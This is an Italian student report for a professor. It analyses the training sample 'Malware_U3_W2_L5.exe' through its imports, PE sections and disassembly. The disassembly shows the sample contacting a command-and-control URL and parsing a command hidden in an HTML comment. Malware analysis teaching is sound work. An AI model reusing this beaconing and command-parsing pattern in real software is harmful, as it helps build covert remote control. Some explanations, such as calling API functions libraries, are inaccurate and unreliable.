ANALISI STATICA E DINAMICA: UN APPROCCIO PRATICO

Gentile Prof,

In seguito alla richiesta di analisi del malware "Malware_U3_W2_L5.exe", sono state condotte una serie di attività volte a comprendere il funzionamento e il comportamento del malware. L'analisi è stata eseguita mediante l'analisi delle librerie importate, delle sezioni del file eseguibile e del codice assembly fornito.

Malware_U3_W2_L5.exe

Module Name	Imports	OFTs	TimeDateStamp	ForwarderChain	Name RVA	FTs (IAT)
szAnsi	(nFunctions)	Dword	Dword	Dword	Dword	Dword
KERNEL32.dll	44	00006518	00000000	00000000	000065EC	00006000
WININET.dll	5	000065CC	00000000	00000000	00006664	000060B4

library (2)
KERNEL32.dll
WININET.dll

Analisi delle librerie importate:

Il malware "Malware_U3_W2_L5.exe" importa due librerie principali:
KERNEL32.dll: Questa libreria fornisce funzionalità di base del sistema operativo Windows, inclusi meccanismi per la gestione dei processi, la gestione delle memorie e le operazioni di input/output.
WININET.dll: Questa libreria fornisce funzionalità di rete per l'accesso a risorse Internet, inclusi metodi per l'apertura di connessioni, il download di file e la gestione dei protocolli di comunicazione.

Malware_U3_W2_L5.exe

Name	Virtual Size	Virtual Address	Raw Size	Raw Address	Reloc Address	Linenumbers	Relocations N...	Linenumbers ...	Characteristics
Byte[8]	Dword	Dword	Dword	Dword	Dword	Dword	Word	Word	Dword
.text	00004A78	00001000	00005000	00001000	00000000	00000000	0000	0000	60000020
.rdata	0000095E	00006000	00001000	00006000	00000000	00000000	0000	0000	40000040
.data	00003F08	00007000	00003000	00007000	00000000	00000000	0000	0000	C0000040

Analisi delle sezioni del file eseguibile:

Il file eseguibile "Malware_U3_W2_L5.exe" è suddiviso in tre sezioni principali:
.text: Questa sezione contiene il codice eseguibile del malware, comprese le istruzioni in linguaggio assembly per le operazioni di controllo, comunicazione e gestione delle risorse.
.rdata: Questa sezione contiene dati di sola lettura, come stringhe costanti utilizzate dal malware per le sue operazioni.
.data: Questa sezione contiene dati modificabili durante l'esecuzione del malware, inclusi valori di variabili e strutture dati utilizzate durante l'esecuzione.

Analisi del codice assembly:

```
C:\Users\user\Desktop\malware\Esercizio_Pratico_U3_W2_L5>Malware_U3_W2_L5.exe
Error 1.1: No Internet
```

Il codice assembly fornito rappresenta un frammento del codice eseguibile del malware. Sono state identificate diverse istruzioni e costrutti noti, tra cui:
Istruzioni di configurazione dell'ambiente, come la gestione dello stack e dei registri.
Chiamate a funzioni di librerie importate, come InternetGetConnectedState, InternetOpenA e InternetOpenUrlA, per la gestione della connessione a Internet.
Confronti e gestione dei risultati ottenuti dalle funzioni chiamate.
Messaggi di errore e successo, che vengono visualizzati in base all'esito delle operazioni di connessione a Internet.
Parsing dei comandi e gestione delle azioni da eseguire in base ai comandi ricevuti.

```
push malware_u3_w2_l5.4070F4          4070F4:"Internet Explorer 7.5/pma"
call dword ptr ds:[<&InternetOpenA>]
mov dword ptr ss:[ebp-C],eax
push 0
push 0
push 0
push 0
push malware_u3_w2_l5.4070C4          4070C4:"http://www.practicalmalwareanalysis.com/cc.htm"
mov eax,dword ptr ss:[ebp-C]
push eax
call dword ptr ds:[<&InternetOpenUrlA>]
mov dword ptr ss:[ebp-10],eax
cmp dword ptr ss:[ebp-10],0
jne malware_u3_w2_l5.40109D
push malware_u3_w2_l5.4070A8          4070A8:"Error 2.1: Fail to OpenUrl\n"
call malware_u3_w2_l5.40117F
```

```
push malware_u3_w2_l5.407088          407088:"Error 2.2: Fail to ReadFile\n"
call malware_u3_w2_l5.40117F
add esp,4
mov edx,dword ptr ss:[ebp-C]
push edx
call dword ptr ds:[<&InternetCloseHandl
mov eax,dword ptr ss:[ebp-10]
push eax
call dword ptr ds:[<&InternetCloseHandl
xor al,al
jmp malware_u3_w2_l5.40112C
movsx ecx,byte ptr ss:[ebp-210]
cmp ecx,3C                            3C:'<'
jne malware_u3_w2_l5.40111D
movsx edx,byte ptr ss:[ebp-20F]
cmp edx,21                            21:'!'
jne malware_u3_w2_l5.40111D
movsx eax,byte ptr ss:[ebp-20E]
cmp eax,2D                            2D:'-'
jne malware_u3_w2_l5.40111D
movsx ecx,byte ptr ss:[ebp-20D]
cmp ecx,2D                            2D:'-'
jne malware_u3_w2_l5.40111D
mov al,byte ptr ss:[ebp-20C]
jmp malware_u3_w2_l5.40112C
push malware_u3_w2_l5.407068          407068:"Error 2.3: Fail to get command\n"
call malware_u3_w2_l5.40117F
```

```
jne malware_u3_w2_l5.40115C
xor eax,eax
jmp malware_u3_w2_l5.40117B
movsx ecx,byte ptr ss:[ebp-8]
push ecx
push malware_u3_w2_l5.407110          407110:"Success: Parsed command is %c\n"
call malware_u3_w2_l5.40117F
```

```
00401000    55              push ebp
00401001    8BEC            mov ebp,esp
00401003    51              push ecx
00401004    6A 00           push 0
00401006    6A 00           push 0
00401008    FF15 C0604000   call dword ptr ds:[<&InternetGetConnect
0040100E    8945 FC         mov dword ptr ss:[ebp-4],eax
00401011    837D FC 00      cmp dword ptr ss:[ebp-4],0
00401015    74 14           je malware_u3_w2_l5.40102B
00401017    68 48704000     push malware_u3_w2_l5.407048      407048:"Success: Internet Connection\n"
0040101C    E8 5E010000     call malware_u3_w2_l5.40117F
00401021    83C4 04         add esp,4
00401024    B8 01000000     mov eax,1
00401029    EB 0F           jmp malware_u3_w2_l5.40103A
0040102B    68 30704000     push malware_u3_w2_l5.407030      407030:"Error 1.1: No Internet\n"
00401030    E8 4A010000     call malware_u3_w2_l5.40117F
00401035    83C4 04         add esp,4
00401038    33C0            xor eax,eax
0040103A    8BE5            mov esp,ebp
0040103C    5D              pop ebp
0040103D    C3              ret
```

Analisi dei flag:

imports (49)	flag (10)
GetStartupInfoA	-
GetEnvironmentVariableA	x
GetVersionExA	-
InternetOpenUrlA	x
InternetCloseHandle	x
InternetReadFile	x
InternetGetConnectedState	x
InternetOpenA	x

Il malware "Malware_U3_W2_L5.exe" importa diverse librerie, tra cui:

GetStartupInfoA: Questa libreria viene utilizzata per ottenere informazioni sul processo di avvio del sistema operativo.
GetEnvironmentVariableA: Questa libreria viene utilizzata per ottenere il valore di una variabile d'ambiente specificata.
GetVersionExA: Questa libreria viene utilizzata per ottenere informazioni sulla versione del sistema operativo.
InternetOpenUrlA: Questa libreria viene utilizzata per aprire un URL specificato.
InternetCloseHandle: Questa libreria viene utilizzata per chiudere una risorsa di rete aperta.
InternetReadFile: Questa libreria viene utilizzata per leggere i dati da una risorsa di rete.
InternetGetConnectedState: Questa libreria viene utilizzata per controllare lo stato della connessione Internet.
InternetOpenA: Questa libreria viene utilizzata per aprire una connessione a Internet.

Nel codice assembly fornito sono presenti diversi flag, rappresentati dalla lettera **"X"**. Non è stata fornita una descrizione dettagliata di ciascun flag, ma è possibile che questi flag indichino determinate condizioni o comportamenti specifici del malware durante l'esecuzione.

Conclusioni:

La prima parte dell'analisi ha fornito informazioni sulle librerie importate e le sezioni del file eseguibile del malware. Queste informazioni sono essenziali per comprendere le dipendenze del malware e la sua struttura interna.

La seconda parte dell'analisi ha fornito un frammento del codice assembly del malware, consentendo di identificare le operazioni di gestione della connessione a Internet e la gestione dei comandi. Sono stati individuati messaggi di errore e successo, nonché indirizzi di memoria e stringhe chiave utilizzate nel codice.

L'analisi del malware "Malware_U3_W2_L5.exe" ha contribuito a una maggiore comprensione del funzionamento e del comportamento del malware, consentendo di identificare le azioni sospette e le potenziali minacce che potrebbe rappresentare.

L'analisi del malware "Malware_U3_W2_L5.exe" è stata un'opportunità preziosa per approfondire le competenze nell'analisi dei malware e per acquisire una maggiore consapevolezza delle minacce informatiche. L'identificazione delle librerie importate, delle sezioni del file eseguibile e del codice assembly ha permesso di ottenere informazioni rilevanti per la comprensione e la mitigazione delle potenziali minacce.

In conclusione, l'analisi del malware ha evidenziato l'importanza di adottare misure preventive e di utilizzare strumenti di sicurezza adeguati per proteggere le infrastrutture informatiche da attacchi malevoli.